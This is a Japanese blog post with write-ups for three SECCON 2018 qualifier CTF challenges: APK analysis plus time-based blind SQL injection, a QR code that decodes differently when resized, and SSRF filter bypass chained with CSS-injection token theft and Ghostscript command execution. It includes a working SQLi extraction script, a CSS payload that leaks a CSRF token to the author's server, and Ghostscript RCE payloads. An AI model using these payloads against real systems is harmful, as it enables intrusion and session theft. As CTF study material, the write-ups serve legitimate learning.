こんとろーるしーこんとろーるぶい

週末にカチャカチャッターン!したことを貼り付けていくブログ

SECCON 2018 Quals - shooter

問題文

shooter
Enjoy the game!

添付ファイル:shooter.apk_d0d2ed9e7ba3c83354cbbf7ccf82541730b14a72

writeup

Stage1

apktoolでapkファイルを展開する。

Apktool - How to Install

> apktool.bat decode --no-src shooter.apk
I: Using Apktool 2.2.2 on shooter.apk
I: Loading resource table...
I: Decoding AndroidManifest.xml with resources...
I: Loading resource table from file: C:\Users\XXXX\AppData\Local\apktool\framework\1.apk
I: Regular manifest package...
I: Decoding file-resources...
I: Decoding values */* XMLs...
I: Copying raw classes.dex file...
I: Copying assets and libs...
I: Copying unknown files...
I: Copying original files...

展開した中身を見るとUnityを使っていることがわかる。

GitHub - nevermoe/unity_metadata_loader

こちらのツールを使用して、metadataの中身を覗く。
metadataファイルは以下ディレクトリに存在している。
assets\bin\Data\Managed\Metadata\global-metadata.dat

unity_decoder.exeをassets\bin\Data\Managed\Metadata\配下にコピーして実行すると、method_name.txtstring_literal.txtのファイルが生成された。

string_literal.txtの最後らへんに、URL文字列を発見。

(snip)
shooter.pwn.seccon.jp
staging.shooter.pwn.seccon.jp
develop.shooter.pwn.seccon.jp
/admin
(snip)

http://staging.shooter.pwn.seccon.jp/adminにアクセスする。

f:id:graneed:20181028164141p:plain

ログイン画面が表示された。

なお、http://shooter.pwn.seccon.jp/adminhttp://develop.shooter.pwn.seccon.jp/adminにアクセスしても403である。

Stage2

「とりあえず生ビール」と注文するかの如く、ログイン画面のLogin IDとPasswordに「とりあえず記号を入力」してみる。なお、SECCON Beginners NEXTでも、入力フィールドを見たら記号を入れることは当然の仕草・お作法であるようなことを講師の方が言っていたので、常識的な行動のようだ。

f:id:graneed:20181028164733p:plain

エラー発生。SQLインジェクションの疑いあり。

切り分けすると、Passwordに'(シングルクォーテーション)を入力するとエラーになることがわかる。

そこで、サーバ内でSQLの構文が成立するように、Passwordに' or 'A'='Aを入力すると、エラーにならず302リダイレクトが返却された。しかし、ログインはできない。また、where句の条件がTrueまたはFalseになるようなSQLの断片を入力しレスポンスを観察するが、違いは見られない。

よって、「Time-Based Blind SQL Injection」を使って、DBの中身を窃取することにする。

Login IDにadmin、Passwordに' or if(1=1, sleep(3), false) or 'を入力すると、3秒待ってからレスポンスがあった。いけそうだ。

通常のBlind SQL Injectionと同じように、取得したいテーブル名、カラム名またはレコードを1文字ずつ特定する条件式を作成し、条件が成立する場合に3秒sleepさせ、レスポンスタイムを観察することで条件が成立したかどうか判定すればよい。

  1. information_schema.tableを使用して、DB内のテーブル名を確認する。
  2. information_schema.columnsを使用して、1で特定したテーブル名が持つカラムを確認する。
  3. 1と2で特定したテーブル名、カラム名を使用して、レコードの値を取得する。

1と2と3を実行するスクリプトは以下の通り。
コメントアウトを付け替えれば、それぞれ実行できる。
Cookieauthenticity_tokenは、ログイン画面のレスポンスから採取してセットした。

import requests
import string
import time

URL = 'http://staging.shooter.pwn.seccon.jp/admin/sessions'
LETTERS = string.ascii_letters + string.digits + "!#$&()*+,-./:;<=>?@[\]^_`{|}~"

def pretty_print_POST(req):
    print('{}\n{}\n{}\n\n{}'.format(
        req.method + ' ' + req.url,
        '\n'.join('{}: {}'.format(k, v) for k, v in req.headers.items()),
        req.body,
    ))

target = ""

while True:
    flag = False
    for e in LETTERS:
        tmp = target + e
        req = requests.Request(
            'POST',
            URL,
            data={
                #"utf8" :"\xE2\x9C\x93",
                "authenticity_token": "CodCRpjgTlZzcK/ilr42WUwUASDdfoPJ/865RPWy3uOS2nzmtl9T3GnNG+2syYTY1GSc+vXODPykzOVx7n8JuA==",
                "login_id" : "admin",
                "commit" : "Login",
                # 0.実験用
                #"password" : "' or if(1=1, sleep(3), false) or '"
                # 1.テーブル名を取得
                "password" : "' or if(SUBSTRING((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,{})='{}', sleep(3), false) or 'a'='".format(len(tmp),tmp)
                # 2.列名を取得
                #"password" : "' or if(SUBSTRING((select column_name from information_schema.columns where table_name='flags' limit 1,1),1,{})='{}', sleep(3), false) or 'a'='".format(len(tmp),tmp)
                # 3.レコードを取得
                #"password" : "' or if(ASCII(SUBSTRING((select value from flags limit 0,1),{},1)) = {}, sleep(3), false) or 'a'='".format(len(tmp),ord(e))
                },
            headers={
                "Content-Type" : "application/x-www-form-urlencoded",
                "Cookie" : "_shooter_session=l1NW1fRcRDMstlN7MZwJYOBBq2vtB17FLSdELAPhCdp2hV9OD%2FHVFErOBjU80QHxdVwp24TL1MQAAzaXO1dOMLJlzgw%2BnfePLKGRiIrVDhnXNlm7d8FlxJderqSJ8n5jthdfnkLSZStuufw7YRk%3D--KB76yzfpz0%2FRbJTc--vR4mc6IPyNAgJfhs7%2FbtSg%3D%3D"
                },
            )
        prepared = req.prepare()
        #pretty_print_POST(prepared)
        s = requests.Session()

        start = time.time()
        r = s.send(prepared, allow_redirects = False)
        elapsed_time = time.time() - start

        if elapsed_time > 3:
            target = tmp
            print(target)
            flag = True
            break
        #print(r.headers)
        #print(r.text)
        #print(elapsed_time)

    if flag: continue
    exit()

1を有効にした場合の実行結果は以下の通り。

f
fl
fla
flag
flags

flagsテーブルがあることがわかる。
なお、limit句を0,1にするとar_internal_metadataテーブルをとってきた。

2を有効にした場合の実行結果は以下の通り。

v
va
val
valu
value

flagsテーブルにはvalueカラムがあることがわかる。
なお、limit句を0,1にするとidカラムをとってきた。

3を有効にした場合の実行結果は以下の通り。
MySQLは、通常、where句の等式で大文字小文字が区別できないため、ASCII関数を使用した。

S
SE
SEC
SECC
SECCO
SECCON
SECCON{
SECCON{1
SECCON{1N
SECCON{1NV
SECCON{1NV4
SECCON{1NV4L
SECCON{1NV4L1
SECCON{1NV4L1D
SECCON{1NV4L1D_
SECCON{1NV4L1D_4
SECCON{1NV4L1D_4D
SECCON{1NV4L1D_4DM
SECCON{1NV4L1D_4DM1
SECCON{1NV4L1D_4DM1N
SECCON{1NV4L1D_4DM1N_
SECCON{1NV4L1D_4DM1N_P
SECCON{1NV4L1D_4DM1N_P4
SECCON{1NV4L1D_4DM1N_P4G
SECCON{1NV4L1D_4DM1N_P4G3
SECCON{1NV4L1D_4DM1N_P4G3_
SECCON{1NV4L1D_4DM1N_P4G3_4
SECCON{1NV4L1D_4DM1N_P4G3_4U
SECCON{1NV4L1D_4DM1N_P4G3_4U+
SECCON{1NV4L1D_4DM1N_P4G3_4U+H
SECCON{1NV4L1D_4DM1N_P4G3_4U+H3
SECCON{1NV4L1D_4DM1N_P4G3_4U+H3N
SECCON{1NV4L1D_4DM1N_P4G3_4U+H3NT
SECCON{1NV4L1D_4DM1N_P4G3_4U+H3NT1
SECCON{1NV4L1D_4DM1N_P4G3_4U+H3NT1C
SECCON{1NV4L1D_4DM1N_P4G3_4U+H3NT1C4
SECCON{1NV4L1D_4DM1N_P4G3_4U+H3NT1C4T
SECCON{1NV4L1D_4DM1N_P4G3_4U+H3NT1C4T1
SECCON{1NV4L1D_4DM1N_P4G3_4U+H3NT1C4T10
SECCON{1NV4L1D_4DM1N_P4G3_4U+H3NT1C4T10N
SECCON{1NV4L1D_4DM1N_P4G3_4U+H3NT1C4T10N}

スクリプトを実行して、じわじわとフラグ文字列が得られていく光景を観察するのは、格別な時間ですね。

フラグゲット。
SECCON{1NV4L1D_4DM1N_P4G3_4U+H3NT1C4T10N}

SECCON 2018 Quals - QRChecker

問題文

QR Checker
http://qrchecker.pwn.seccon.jp/

f:id:graneed:20181028022425p:plain

ソースコードが公開されている。

#!/usr/bin/env python3
import sys, io, cgi, os
from PIL import Image
import zbarlight
print("Content-Type: text/html")
print("")
codes = set()
sizes = [500, 250, 100, 50]
print('<html><body>')
print('<form action="' + os.path.basename(__file__) + '" method="post" enctype="multipart/form-data">')
print('<input type="file" name="uploadFile"/>')
print('<input type="submit" value="submit"/>')
print('</form>')
print('<pre>')
try:
    form = cgi.FieldStorage()
    data = form["uploadFile"].file.read(1024 * 256)
    image= Image.open(io.BytesIO(data))
    for sz in sizes:
        image = image.resize((sz, sz))
        result= zbarlight.scan_codes('qrcode', image)
        if result == None:
            break
        if 1 < len(result):
            break
        codes.add(result[0])
    for c in sorted(list(codes)):
        print(c.decode())
    if 1 < len(codes):
        print("SECCON{" + open("flag").read().rstrip() + "}")
except:
    pass
print('</pre>')
print('</body></html>')

writeup

毎年お馴染みらしい、QRコードの問題。

ソースコードを読み解くと、1つのQRコード画像を500x500、250x250、100x100、50x50にリサイズし、2種類以上の読み取り結果が得られたらフラグをゲットできるようだ。

大きな画像を縮小すると、画像が粗くなったりつぶれたりするので、その現象を使用するのだろうか。

ここで、18年6月くらいにQRコード脆弱性という記事を読んだことを思い出す。

『きまぐれQRコード』ができます!?【続報】気を付けろ!QRコードに脆弱性?(森井昌克) - 個人 - Yahoo!ニュース

QRコードの誤り訂正の領域に、グレーのセルがある。このセルが白と判定される場合と黒と判定される場合とで、読み取り結果が変わる。

こちらの記事のQRコード画像を拝借して読み取らせてみる。
まずは、ローカルで実行可能な環境を用意するため、ライブラリをインストール。

root@kali:~# sudo apt-get install libzbar-dev
root@kali:~# pip install zbarlight

ローカル実行するためのコードはこちら。

#!/usr/bin/env python3
import sys, io, cgi, os
from PIL import Image
import zbarlight
codes = set()
sizes = [500, 250, 100, 50]

f = open(sys.argv[1], 'rb')
data = f.read(1024 * 256)
image= Image.open(io.BytesIO(data))
for sz in sizes:
    image = image.resize((sz, sz))
    #image.save('qr_{}.png'.format(str(sz)))
    result= zbarlight.scan_codes('qrcode', image)
    if result == None:
        break
    if 1 < len(result):
        break
    print(sz)
    print(result[0])
    codes.add(result[0])
for c in sorted(list(codes)):
    print(c.decode())
if 1 < len(codes):
    print("SECCON{SUCCESS!!}")

QRコード画像
f:id:graneed:20181028023931p:plain

実行結果

root@kali:~# python qr.py qr_org.png
500
b'http://srv.prof-morii.net/~lab'
250
b'http://srv.prof-morii.net/~lab'
100
b'http://srv.prof-morii.net/~lab'
50
b'http://srv.prof-morii.net/~lab'
http://srv.prof-morii.net/~lab

そのままでは1種類の読み取り結果しか得られなかった。
そこで、画像サイズを変えたり、グレーの部分をGIMPで適当に塗ったりして調整し、Try&Errorしてみる。

最終的に以下の画像で成功した。

f:id:graneed:20181028024353p:plain

root@kali:~# python qr.py qr_success.png
500
b'http://srv.prof-morii.net/~lob'
250
b'http://srv.prof-morii.net/~lob'
100
b'http://srv.prof-morii.net/~lob'
50
b'http://srv.prof-morii.net/~lab'
http://srv.prof-morii.net/~lab
http://srv.prof-morii.net/~lob
SECCON{SUCCESS!!}

画像をアップロードする。

f:id:graneed:20181028024534p:plain

フラグゲット
SECCON{50d7bc7542b5837a7c5b94cf2446b848}

SECCON 2018 Quals - GhostKingdom

[更新履歴]

  • 2018/12/18 19:40
    idコマンド実行時の画像のuid/gid/groupsをマスク化

問題文

http://ghostkingdom.pwn.seccon.jp/FLAG/

上記のURLにアクセスすると、以下の表示。

FLAG is somewhere in this folder.   GO TO TOP

TOP画面は以下。 f:id:graneed:20181027190242p:plain

writeup

調査

Create new userリンクからユーザ作成してログインすると、メニュー画面が表示される。

メニュー画面には以下3つの機能が表示されている。

  • Message to admin
  • Take a screenshot
  • Upload image

但し、Upload imageは、* Only for users logged in from the local networkとのことで、使用できない。残り2つの機能を調査する。

Message to admin

NormalEmergencyを選択するラジオボタンと、Messageの入力項目がある。

f:id:graneed:20181027190822p:plain

MessageXSS脆弱性は無い。

Previewボタンを押下すると、プレビュー画面に遷移する。 Emergencyを選択していると、メッセージを強調するスタイルが適用される。

f:id:graneed:20181027190625p:plain

プレビュー画面のURLにはcssパラメータが付いている。
http://ghostkingdom.pwn.seccon.jp/?css=c3BhbntiYWNrZ3JvdW5kLWNvbG9yOnJlZDtjb2xvcjp5ZWxsb3d9&msg=aaaa&action=msgadm2

cssパラメータはBASE64エンコード文字列のように見えるため、復号してみる。

root@kali:~# echo -n "c3BhbntiYWNrZ3JvdW5kLWNvbG9yOnJlZDtjb2xvcjp5ZWxsb3d9" | base64 -d
span{background-color:red;color:yellow}

強調するスタイルは、cssパラメータでセットしているようだ。つまり任意にセット可能。

プレビュー画面の後にSend to adminボタンを押下するとadminにメッセージ送信が成功したメッセージが表示される。

Take a screenshot

URLを入力して、Take a Screenshotボタンを押下すると、URLにアクセスしてScreenshotを取得して表示してくれる。

f:id:graneed:20181027190754p:plain

file:///etc/passwdを入力してみるがInvalid URL!の表示。
http://localhost/を入力すると、You can not use URLs that contain the following keywords: 127, ::1, localの表示。
へー、ローカルアクセスは塞がれているのか、なるほど(意味深

Stage1

まずは、Take a screenshotのローカルアクセスの制約を突破する。 127, ::1, localしかフィルタしていないとすれば、IPアドレスの指定方法を変えれば突破できそうだ。

IPアドレス値・数値(2,10,16進数)変換ツール -IPv46 – IPアドレス(CIDR)の範囲確認・変換サイト

上記サイトを使用して127.0.0.1を10進数値に変換すると2130706433になる。
http://2130706433/のScreenshotを取得すると成功。

f:id:graneed:20181027191836p:plain

Upload imageに飛べるか確認するため、試しにhttp://2130706433/?action=menuを入力するが、admin側でもログインが必要のようだ。幸い、ログイン時にuserpassをクエリパラメータで送信するI/Fのため、http://2130706433/?user=<ユーザID>&pass=<パスワード>&action=loginを入力してadminにログインさせてあげればよい。

その後、再度http://2130706433/?action=menuを入力すると、メニュー画面のScreenshotを取得できた。

f:id:graneed:20181027192451p:plain

ただ、Upload imageが有効なメニュー画面のScreenshotだけあっても意味がない。 このログインしている状態のadminのCookieを窃取して、自分でUpload imageを利用したい。

そこで、Message to adminにて、CSSが任意に指定できる機能を使用する。 プレビュー画面には、hiddenのcsrf項目があるが、valueを見るとCookieCGISESSIDと同値。

よって、プレビュー画面でCSS Injectionを使用してcsrf項目のvalueを取得できれば、adminに成りすましてメニュー画面の表示やUpload imageを利用することができる。

CSS Injectionの攻撃コードを生成するスクリプトを作成する。

import base64

CHARLIST = "0123456789" + "abcdef"
URL = "http://2130706433/?msg=aaa&action=msgadm2&css="

known_csrf = "ff1de841cd4cb1c627ead5"
buf = ""
for c in CHARLIST:
    buf += """input[name="csrf"][value^="{}"] {{
background: url(http://myserver/{});
}}""".format(known_csrf + c, known_csrf + c)
    
print(buf)
print(URL + base64.b64encode(buf.encode('utf-8')).decode('utf-8'))

実行すると、CSS Injectionの攻撃コードと、それをBASE64エンコードしてcssパラメータにセットしたURLが生成される。

input[name="csrf"][value^="0"] {
background: url(http://myserver/0);
}input[name="csrf"][value^="1"] {
background: url(http://myserver/1);
}input[name="csrf"][value^="2"] {
background: url(http://myserver/2);
}input[name="csrf"][value^="3"] {
background: url(http://myserver/3);
}input[name="csrf"][value^="4"] {
background: url(http://myserver/4);
}input[name="csrf"][value^="5"] {
background: url(http://myserver/5);
}input[name="csrf"][value^="6"] {
background: url(http://myserver/6);
}input[name="csrf"][value^="7"] {
background: url(http://myserver/7);
}input[name="csrf"][value^="8"] {
background: url(http://myserver/8);
}input[name="csrf"][value^="9"] {
background: url(http://myserver/9);
}input[name="csrf"][value^="a"] {
background: url(http://myserver/a);
}input[name="csrf"][value^="b"] {
background: url(http://myserver/b);
}input[name="csrf"][value^="c"] {
background: url(http://myserver/c);
}input[name="csrf"][value^="d"] {
background: url(http://myserver/d);
}input[name="csrf"][value^="e"] {
background: url(http://myserver/e);
}input[name="csrf"][value^="f"] {
background: url(http://myserver/f);
}
http://2130706433/?msg=aaa&action=msgadm2&css=aW5wdXRbbmFtZT0iY3NyZiJdW3ZhbHVlXj0iMCJdIHsKYmFja2dyb3VuZDogdXJsKGh0dHA6Ly9teXNlcnZlci8wKTsKfWlucHV0W25hbWU9ImNzcmYiXVt2YWx1ZV49IjEiXSB7CmJhY2tncm91bmQ6IHVybChodHRwOi8vbXlzZXJ2ZXIvMSk7Cn1pbnB1dFtuYW1lPSJjc3JmIl1bdmFsdWVePSIyIl0gewpiYWNrZ3JvdW5kOiB1cmwoaHR0cDovL215c2VydmVyLzIpOwp9aW5wdXRbbmFtZT0iY3NyZiJdW3ZhbHVlXj0iMyJdIHsKYmFja2dyb3VuZDogdXJsKGh0dHA6Ly9teXNlcnZlci8zKTsKfWlucHV0W25hbWU9ImNzcmYiXVt2YWx1ZV49IjQiXSB7CmJhY2tncm91bmQ6IHVybChodHRwOi8vbXlzZXJ2ZXIvNCk7Cn1pbnB1dFtuYW1lPSJjc3JmIl1bdmFsdWVePSI1Il0gewpiYWNrZ3JvdW5kOiB1cmwoaHR0cDovL215c2VydmVyLzUpOwp9aW5wdXRbbmFtZT0iY3NyZiJdW3ZhbHVlXj0iNiJdIHsKYmFja2dyb3VuZDogdXJsKGh0dHA6Ly9teXNlcnZlci82KTsKfWlucHV0W25hbWU9ImNzcmYiXVt2YWx1ZV49IjciXSB7CmJhY2tncm91bmQ6IHVybChodHRwOi8vbXlzZXJ2ZXIvNyk7Cn1pbnB1dFtuYW1lPSJjc3JmIl1bdmFsdWVePSI4Il0gewpiYWNrZ3JvdW5kOiB1cmwoaHR0cDovL215c2VydmVyLzgpOwp9aW5wdXRbbmFtZT0iY3NyZiJdW3ZhbHVlXj0iOSJdIHsKYmFja2dyb3VuZDogdXJsKGh0dHA6Ly9teXNlcnZlci85KTsKfWlucHV0W25hbWU9ImNzcmYiXVt2YWx1ZV49ImEiXSB7CmJhY2tncm91bmQ6IHVybChodHRwOi8vbXlzZXJ2ZXIvYSk7Cn1pbnB1dFtuYW1lPSJjc3JmIl1bdmFsdWVePSJiIl0gewpiYWNrZ3JvdW5kOiB1cmwoaHR0cDovL215c2VydmVyL2IpOwp9aW5wdXRbbmFtZT0iY3NyZiJdW3ZhbHVlXj0iYyJdIHsKYmFja2dyb3VuZDogdXJsKGh0dHA6Ly9teXNlcnZlci9jKTsKfWlucHV0W25hbWU9ImNzcmYiXVt2YWx1ZV49ImQiXSB7CmJhY2tncm91bmQ6IHVybChodHRwOi8vbXlzZXJ2ZXIvZCk7Cn1pbnB1dFtuYW1lPSJjc3JmIl1bdmFsdWVePSJlIl0gewpiYWNrZ3JvdW5kOiB1cmwoaHR0cDovL215c2VydmVyL2UpOwp9aW5wdXRbbmFtZT0iY3NyZiJdW3ZhbHVlXj0iZiJdIHsKYmFja2dyb3VuZDogdXJsKGh0dHA6Ly9teXNlcnZlci9mKTsKfQ==

このURLを使用してScreenshotをとると、自サーバにcsrfの先頭1文字に対応したアクセスが飛んでくるはずである。

XXX.XXX.XXX.XXX - - [27/Oct/2018:17:56:59 +0900] "GET /f HTTP/1.1" 404 503 "http://127.0.0.1/?msg=aaa&action=msgadm2&css=(snip)" "SECCON-CTF-ONLINE-2018--FROM-YYY.YYY.YYY.YYY"

飛んできた。csrfの先頭1文字はfのようだ。

これを繰り返してcsrfを全桁入手し、Cookieにセットしてメニュー画面を表示する。 f:id:graneed:20181027194457p:plain

Upload imageが有効なメニュー画面を表示できた。

Stage2

Upload imageに遷移すると以下の画面。

f:id:graneed:20181027194509p:plain

試しに適当な画像をアップロードしてみる。

f:id:graneed:20181027194923p:plain

GIFに変換できるようだ。

f:id:graneed:20181027194953p:plain

さて、ここでURLを見てみる。
http://ghostkingdom.pwn.seccon.jp/ghostMagick.cgi

ghostとMagick・・・GhostscriptとImageMagickか!

Ghostscript の -dSAFER オプションの脆弱性に関する注意喚起

PoCのコードはこちら。
Ghostscript - Multiple Vulnerabilities

試しに、上記ページから以下のコードを取得して拡張子jpgで保存してアップロードしてみる。

%!PS
userdict /setpagedevice undef
legal
{ null restore } stopped { pop } if
legal
mark /OutputFile (%pipe%id) currentdevice putdeviceprops

f:id:graneed:20181218194850p:plain
idコマンドを実行できた!ビンゴ!

次に、/FLAG/配下のファイルを確認する。

%!PS
userdict /setpagedevice undef
legal
{ null restore } stopped { pop } if
legal
mark /OutputFile (%pipe%ls /var/www/html/FLAG/) currentdevice putdeviceprops

f:id:graneed:20181027200134p:plain

最後に、FLAGflagF1A8.txtをcatする。

%!PS
userdict /setpagedevice undef
legal
{ null restore } stopped { pop } if
legal
mark /OutputFile (%pipe%cat /var/www/html/FLAG/FLAGflagF1A8.txt) currentdevice putdeviceprops

f:id:graneed:20181027200050p:plain

フラグゲット!
SECCON{CSSinjection+GhostScript/ImageMagickRCE}